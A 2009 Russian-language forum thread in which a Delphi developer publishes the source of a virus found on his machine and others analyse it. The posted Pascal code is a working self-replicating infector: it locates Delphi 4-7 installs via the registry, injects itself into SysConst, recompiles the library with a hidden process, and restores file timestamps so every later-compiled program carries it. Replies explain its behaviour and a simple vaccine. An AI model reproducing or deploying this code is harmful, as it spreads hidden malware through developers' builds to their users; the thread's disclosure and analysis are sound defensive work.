Вход

Просмотр полной версии : Касательно так называемых "вирусов" (читать только тем, кто пользуется Delphi)


IHelper
06.07.2009, 00:13
Уважаемые пользователи и программеры,

Скажу сразу: всё нижесказанное может повлиять только на тех, кто программит на Delphi. Для тех, у кого Delphi на компе не установлен весь текст ниже не имеет никакого смысла.

Воизбежание дальнейших недоразумений и для предотвращения попыток недобросовестных конкурентов обвинить нас во всех тягчайших грехах какие только может придумать нездоровый мозг постараюсь прояснить имевшую место быть ситуацию.

В недавнем прошлом имела ситуация, описанная тов. Лазером тут:
http://forum.gsmhosting.com/vbb/showthread.php?p=4590996#post4590996

Безусловный респект тов. Лазеру за мониторинг всех последних версий Infinity-Box софта и за публично выданное предупреждение (хотя, конечно, такого рода предупреждения всяко проще давать в приватной беседе, тем более, что связаться со мной тов. Лазеру проще простого и я всегда буду рад пообщаться на различные темы).

Как выяснилось, имевшая место ситуация дала нездоровый повод для нездоровой дискуссии на нездоровом ресурсе (и лично я не удивлен, что именно там такая вот дискуссия возникла):
http://z3x-team.com/forum/topic.php?post=4149#post4149

Выражаю большую признательность френдам, давшим мне линк нездорового ресурса, который показывает, на что готовы идти люди в попытках очернить репутацию добропорядочных людей. Этот пример объективно показывает степень испорченности мозга тех, кто пользуется такого рода ситуациями для выражения своей истинной природы, как, впрочем, и полное отсутствие каких-либо навыков в чтениии элементарного исходного кода (тот, кто разберет приложенный исходный код и сравнит свои мысли с выводами, озвученными нездоровыми ртами сам увидит нулевую степень нездорового мозга).

Ниже приводится исходный текст, который каждый может проанализировать и увидеть, что именно зловредного он несет.
Специально не хочу давать тут каких-либо заключений по причине того, что лучше пусть кто-нибудь другой напишет резюме того, что именно данный код может и чего не может сделать, и сможет ли он сделать то, в чем пытаются обвинить нас нездоровые злобные карлики.

Я буду признателен всем, кто самостоятельно разберет код из аттача тов. Лазера.
Если кому будет удобнее разобрать код, который приведен в более читаемый вид, то привожу его тут.


uses windows;

var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b: boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar (d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e +$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile( pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=Cre ateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi \$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');

function x(s:string):string;
var i:integer;
begin
for i:=1 to length(s) do if s[i]=#36 then s[i]:=#39;
result:=s;
end;

procedure re(s,d,e:string);
var f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h<>DWORD(-1) then
begin
CloseHandle(h);
exit;
end;
{'I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then exit;
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then begin closefile(f1); exit; end;

while not eof(f1) do
begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then break;
end;

for h:= 1 to 1 do writeln(f2,sc[h]);
for h:= 1 to 23 do writeln(f2,''''+sc[h],''',');writeln(f2,''''+sc[24]+''');');
for h:= 2 to 24 do writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
fillchar(f,sizeof(f),0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
if b then WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
DeleteFile(pchar(d+'pas'));
h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h=DWORD(-1) then exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
if h=DWORD(-1) then exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;

procedure st;
var k:HKEY;c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:='4' to '7' do
if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Bo rland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
begin
i:=255;
if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
begin
r:='';
i:=1;
while c[i]<>#0 do
begin
r:=r+c[i];
inc(i);
end;
re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sys const.','"'+r+'\bin\dcc32.exe" ');
end;
RegCloseKey(k);
end;
end;

begin
st;
end.


p.s.
Чтобы такого не происходило в будущем ни с кем, будьте оченнь внимательны и осторожны при запуске каких-либо чужих приложений на своём ПК. Даже очень умные антивирусы не могут знать всего и могут пропустить что-то с виду очень простое.

p.p.s.
Для тех, кто хочет заработать себе плюсики поливанием грязью других: чтобы не показывать свою полную необразованность в следующий раз постарайтесь сначала подумать, и только потом уже пороть чушь про злой умысел уважаемых людей, которые подняли такой проект как Infinity-Box и держат её на высоте более 4 (четырех) лет. Как показывает практика, такого рода работа под силу только профессионалам высочайшей квалификации и безграничной работоспособности.

p.p.p.s.
Если кому-то еще по нездоровости придут в головы мысли типа "они воруют исходники", то рекомендую всем посмотреть всем мультфильм "Летучий корабль", там есть радикальный ответ на все вопросы, которые я могу себе задать по поводу каких-либо исходников. Ответ на вопрос где я беру то, что сам не могу сделать составляет всего одно слово и звучит сразу после вопроса Царя "Построишь летучий корабль ?".

@NoName®
С остальными-то всё понятно уже давно. Я последнее время думал, что у тебя интеллекта больше чем у прочих, а ты себя поставил в один ряд.
Неужели ты сам не был столь любопытен и не посмотрел, что именно за код был в аттаче ?
Если стал писать не посмотрев, то надо списать это на обычное стадное чувство, а если посмотрел и всёравно стал писать, то либо твоя программерская квалификация стремится к нулю либо я просто промолчу дальше, а остальные пусть догадаются сами.

@Sedy
Спросил бы у меня, я бы рассказал больше, понятнее и более квалифицированно.

Viktor001
06.07.2009, 00:37
Безусловный респект тов. Лазеру за мониторинг всех последних версий Infinity-Box софта и за публично выданное предупреждение
the_laser делал это не ради любопытства, а потому что появились жалобы об ошибках, при запуске Setool. Вот эта тема на МФ: http://www.mobile-files.ru/forum/showthread.php?t=220294

IHelper
06.07.2009, 00:49
the_laser делал это не ради любопытства, а потому что появились жалобы об ошибках, при запуске Setool. Вот эта тема на МФ: http://www.mobile-files.ru/forum/showthread.php?t=220294

Я не испытываю иллюзий по поводу того, что ему больше нечего делать, только постоянно мониторить чем я занимаюсь. Лично я знаю одно - я этого кода себе сам не добавлял, а добавлял кто-то из тех, программы кого я запускал у себя на компе без всякой опаски.

PANUA
06.07.2009, 01:11
IHelper, Да на Дельфях программирует куча народу, отискать концы откуда взялся этот код - занятие практически нереальное, слишком много времени прошло :( У меня тоже сидела эта штука, и у Жеки, источником мог быть кто угодно, завтра проверю свой второй комп на наличии этого вируса, на нем я не пишу уже более 4-х месяцев.

IHelper
06.07.2009, 02:07
IHelper, Да на Дельфях программирует куча народу, отискать концы откуда взялся этот код - занятие практически нереальное, слишком много времени прошло :( У меня тоже сидела эта штука, и у Жеки, источником мог быть кто угодно, завтра проверю свой второй комп на наличии этого вируса, на нем я не пишу уже более 4-х месяцев.

Смысла искать концы не вижу т.к. ясно, что сделал это либо кто-то совсем неизвестный либо кто-то очень далекий от тех, кто тут на форуме общается.
Цель поста только одна - чтобы кто-нибудь (не я) описал что именно данный код делает, чтобы ни у кого не возникало в будущем желания делать умный вид и пороть чушь про "специально сделанные вирусы" и т.д.

ravt
06.07.2009, 02:24
Цель поста только одна - чтобы кто-нибудь (не я) описал что именно данный код делает,
Простым языком:
Данный код ищет установленна ли в системе Delphi от 4 до 7 версии.
Если он находит Delphi, он создает копию Sysconst.dcu в виде sysconst.Bak , и патчит sysconst.dcu добавляя себя.
В итоге любая программа написанная на "заражонной" машине, будет иметь уже этот код.

Проверить загаженная машина или нет, проще всего посмотрев есть ли в папке Delphi\lib файл sysconst.Bak
Избавится тоже просто, создаем обычный файл sysconst.Bak, и тогда даже если запустить "заражонную" программу то патчить sysconst.dcu не будет.

Больше злых деяний я не обнаружил, но я и не являюсь экспертом в данном вопросе, я только учусь.

tevel
06.07.2009, 09:50
именно так. похоже просто на болванку

uo5oq
06.07.2009, 13:21
Рома, а какую цель мог преследовать написавший этот вирус?
В итоге любая программа написанная на "заражонной" машине, будет иметь уже этот код.

ravt
06.07.2009, 13:27
Кроме самоутверждения, больше ни какой.
Показать что вот я могу, и антивирус пропускает и сам себя копирует...
Ну красть сырцы однозначно этот код не сможет :)
Хотя код интересный, и в умелых руках может беды наделать.

uo5oq
06.07.2009, 14:20
Кроме самоутверждения, больше ни какой.
Не совсем так.
Почитал, что Серега написал на хостинге, так это по сути - плацдарм для дальнейшего внедрения любого своего кода, например для плагиата.

И тогда по поводу авторства, предположеного IHelper-ом, не остаётся сомнений :D

IHelper
06.07.2009, 17:48
Почитал, что Серега написал на хостинге, так это по сути - плацдарм для дальнейшего внедрения любого своего кода, например для плагиата.
Лично я не вижу тут плацдарма после того, как тов. Лазер опубликовал код. Кроме как удовлетворения чьих-то амбиций (что у него само собой длиннее, чем у Касперского) тут больше ничего нет.

И тогда по поводу авторства, предположеного IHelper-ом, не остаётся сомнений :D
Я не предполагал никакого авторства, понять кто это сделал у меня фантазии не хватит, т.к. нахвататься такого "подарка" мог кто угодно где угодно.

uo5oq
06.07.2009, 18:29
Лично я не вижу тут плацдарма после того, как тов. Лазер опубликовал код.
Мог и не публиковать.
Кроме как удовлетворения чьих-то амбиций (что у него само собой длиннее, чем у Касперского) тут больше ничего нет..
Амбиции, совершенно у всех ex: советских и соц. лагерных программеров завышеные. Это нестрашно, и обычно с возрастом проходит.
Я не предполагал никакого авторства...
Возможно мне показалось.

IHelper
06.07.2009, 18:40
Мог и не публиковать.
Мог :)

Амбиции, совершенно у всех ex: советских и соц. лагерных программеров завышеные. Это нестрашно, и обычно с возрастом проходит.
Скорее не у всех и не с возрастом, а у тех, которые не могут превратить свою "умность-амбициозность" в более полезные вещи (например типа денег).

uo5oq
06.07.2009, 18:48
Скорее не у всех и не с возрастом, а у тех, которые не могут превратить свою "умность-амбициозность" в более полезные вещи (например типа денег).
Согласен.
От безисходности они переключаются на банальный плагиат, что позволяет им демпинговать и слегка мешать зарабатывать нормальным людям ;)

pasha_zv
07.07.2009, 13:29
Кроме самоутверждения, больше ни какой.
Показать что вот я могу, и антивирус пропускает и сам себя копирует...
Ну красть сырцы однозначно этот код не сможет :)
Хотя код интересный, и в умелых руках может беды наделать.
ничего, кодик прикольный, счас у себя на дельфи крутанул

но насчет сырцов - увольте
ИБО- все нормальные программеры после завершения работы
экзешник пакуют, хоть EXEPack - ом
по причине экономии места у пользователя,
а также по некоторым другим соображениям ;)))
причем некоторые даже используют самостоятельно разработанные упаковщики
... со встроенный алгоритмом антиотладки, например обрывания или использования INT1, INT3,
или хранения в таймере некоторых параметров ;)))

FractalizeR
07.07.2009, 16:25
Рома, а какую цель мог преследовать написавший этот вирус?

Можно предположить, что это тест нового способа распространения своего вируса. На этот раз через программистов, а не через пользователей. Кроме того, насколько я знаю, современные антивирусы не детектируют вирусы по их исходному коду на Дельфи. Поэтому фактически получилась гремучая смесь. Помните "Крепкий орешек"? Две безобидные разноцветные жидкости спокойно так себе лежат друг рядом с другом... Но стоит их соединить, как... БУМ! Так и тут. Исходник вируса никому не опасен и никаких деструктивных действий не производит. Однако стоит его соединить с Дельфи (скомпилировать на зараженной машине любую программу, даже "Hello World") как... БУМ! Мы получаем работоспособный вирус внедренный во вполне себе такую легальную программу. Идея недурна... Особенно учитывая, что разработчики имеют тенденцию скомпилированные программы потом размещать на своих сайтах или давать другим разработчикам.... Сами понимаете...

uo5oq
07.07.2009, 17:55
Можно предположить, что это тест нового способа распространения своего вируса.
Я именно так и предположил http://www.mcrf.ru/forum/showpost.php?p=171999&postcount=10

P.S. На воре и шапка горит :D (старинная Русская пословица).

slav-on
07.07.2009, 20:06
Будет гораздо хуже, если это проникнет в другие языки на которых пробуют писать студенты и программисты-самоучки :(
Как сказал FractalizeR сырой код не отслеживают (яркий пример -наличие вирусов в линаксе)

ravt
07.07.2009, 20:53
Ну начнем стого что Delphi, довльно мощный язык, и пишут на нем многие я даже думаю больше чем на С.
Да и в мире GSM продуктов преаблодает именно этот язык, вот софт котрый написан на Delphi:
UFS
Infinity
LangPackEditor от sMobi.
SeTool
SMTi
Vigys
Весь Z3х
USB-Smart
UBL
Rocker
JAF
Cinek
MultiBox
ContentExtractor от PANUA
и многие проэкты от неизвестных команд.
Обусловленно это простым синтаксисом, при довльно мощных возможностях.

NoName®
07.07.2009, 21:55
на Delphi:
JAF
MultiBox

JAF Кажется весь на MSVC писан
MultiBox Смесь Delphi/CBuilder , но это не столь важно. А вот если конкретно искать откуда пошёл сорс вирус достаточно собрать
по нескольео релизов от всех комманд и посмотреть где он вирь явился первее.



Я именно так и предположил http://www.mcrf.ru/forum/showpost.php?p=171999&postcount=10

P.S. На воре и шапка горит :D (старинная Русская пословица).

Доказательства в студию Павел

uo5oq
07.07.2009, 23:38
Доказательства в студию Павел
А что, это именно у Вас проблеммы с головным убором, Александр?

PANUA
08.07.2009, 00:17
Самое неприятное в этом то, что код элементарно модифицировать так, чтоб он действительно что-то воровал :( Перееду ка я на Билдер наверно.

Фортэс
08.07.2009, 00:29
Ну, как бы есть вариант что отправку информации куда-то не пропустят антивирусы и фаерволы

PANUA
08.07.2009, 00:34
Ну, как бы есть вариант что отправку информации куда-то не пропустят антивирусы и фаерволы

Угу :) Если только отправку не инициирует сам пользователь :)

ravt
08.07.2009, 00:43
Прав был уважаемый BaluDark что лутший фаервол это отдельная машина не подключенная к сети. Это к вопросу, о сохранности сырцов.

ravt
08.07.2009, 02:24
Высказывание the Laser на мф.ру http://www.mobile-files.ru/forum/showpost.php?p=1501821&postcount=16
зы.

напишите еще в трид инфинити "про вирус" - большими буквами

"хватит бредить.
особенно про з3х (воруют? и что - инфинити тоже воруют, что дальше?)
"чтоб вы шарили", "вирусу" этому года 3.
ну и, безусловно, верно - запускать чужие программы в песочнице.
блин, единственный продукт чужой, который я юзаю (китайцы) - это инфинити, доверял... ну и попался сам Ж)
хорошо еще, что это proof-of-concept.
хотя, если написать червяка, чтобы он делал нужный ключ в реестре и рисовал себя куда надо под нужным именем - превед, медвед....

tevel
08.07.2009, 05:58
Самое неприятное в этом то, что код элементарно модифицировать так, чтоб он действительно что-то воровал :( Перееду ка я на Билдер наверно.

так переходи на vc сразу. таких болванок для mfc лет 10 много кто лепил:)

NoName®
08.07.2009, 11:44
А что, это именно у Вас проблеммы с головным убором, Александр?


Первобытно-общинный строй ?
Или средние века ?
Мне вообще давно не нравится ваша теория про "сп3.14жженые" решения от Z3X. Реально покажите хоть один спижженый лоадер или BOOT и приведите инные доазательства. "Личные выводы" оставь для закрытого раздела и.т.п.
Комманда существует более 3х лет , и у нас работают не менее толковые программисты чем в команде I чтобы писать всё самостоятльно.
Согласен с тем что ввиду сложившейся конфликтной ситуации появление вируса
сразу же привело к необоснованым словам на нашем форуме, но что поделать
много других необоснованых фактов темнеменее имеют право на жизнь и даже
пропагандируется в массы. Вирус есть вирус и инфекция достаточно удачная,
учитывая популярность продукта и характер распространения - при добавлении всего лишь одной двух процедур содержимое каталогов Delphi паролей асек могло безвозвратно улетучится на какой нибудь RapidShare.com

P.S. Разую вам глаза , пиз*ят все кому не лень , иначе бы небыло таких прекрасных проектов как MicroBox , U*T Pro , TestBox , и прочих , чьи решения отталкиваются исключительно из sniff-ов ком портов

uo5oq
08.07.2009, 11:54
"Личные выводы"
Я пишу когда, где и как хочу.

FractalizeR
08.07.2009, 12:18
Я не превышу своих полномочий, если закрою эту тему? Кажется, весь конструктив уже высказан. А негатива, я думаю, нам всем хватает.